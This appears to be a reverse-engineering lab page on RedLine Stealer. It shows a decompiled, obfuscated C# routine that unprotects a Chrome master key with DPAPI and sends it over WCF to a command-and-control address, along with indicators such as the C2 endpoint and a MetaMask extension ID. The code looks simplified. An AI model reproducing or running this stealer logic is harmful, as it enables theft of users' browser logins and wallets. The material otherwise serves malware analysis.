.NET / CLR STUDIOMSIL BYTECODE & DNFY DECOMPILERCONFUSEREX OBFUSCATED
C# / .NET dnSpy Reversing Lab: RedLine Stealer
Decompile MSIL managed assemblies, strip ConfuserEx control-flow protections with de4dot, extract DPAPI keys, and recover WCF endpoints.
dnSpy Assembly Explorer
📦 RedLineStealer.exe (x86)
📁 References (3 DLLs)
🌐 RedLine.Stealer.Browsers
📄 ChromiumDecryptor
⚡ DecryptChromeLogins()
🌐 RedLine.Stealer.CryptoWallets
🌐 RedLine.Client.Main
C# Decompiled Source • ChromiumDecryptor.cs
MODE: RAW CONFUSEREX// [ConfuserEx v1.0.0 - Encrypted MSIL Stream]
namespace RedLine.Stealer.Browsers {
public class ChromiumDecryptor {
private static byte[] \u0001(string \u0002, int \u0003) {
byte[] array = Convert.FromBase64String(\u0002);
for (int i = 0; i < array.Length; i++) {
array[i] = (byte)(array[i] ^ (\u0003 & 0xFF));
}
return array;
}
public static void DecryptChromeLogins() {
// Unscramble token 0x0600002F
string path = Encoding.UTF8.GetString(\u0001("JSMjKSMjKiYt", 0x42));
byte[] masterKey = ProtectedData.Unprotect(File.ReadAllBytes(path), null, DataProtectionScope.CurrentUser);
// WCF C2 Transmission: net.tcp://185.161.248.42:18342/Service
ChannelFactory<IService> factory = new ChannelFactory<IService>(new NetTcpBinding());
IService client = factory.CreateChannel(new EndpointAddress(\u0001("Bg0dBhcXBQwE", 0x77)));
client.SendStealData(masterKey);
}
}
}
Harvested Tokens & Extensions
MetaMask Chrome Extension ID
nkbihfbeogaeaoehlefnkodbefgpgknn
WCF / Net.Tcp C2 Protocol
net.tcp://185.161.248.42:18342/Service
CryptoAPI Key Provider
ProtectedData.Unprotect (DPAPI)
.NET Reversing Workflow
Because .NET compiles to intermediate MSIL rather than native machine code, tools like dnSpy reconstruct high-level C# near perfectly once ConfuserEx string encryption and proxy calls are cleaned via de4dot.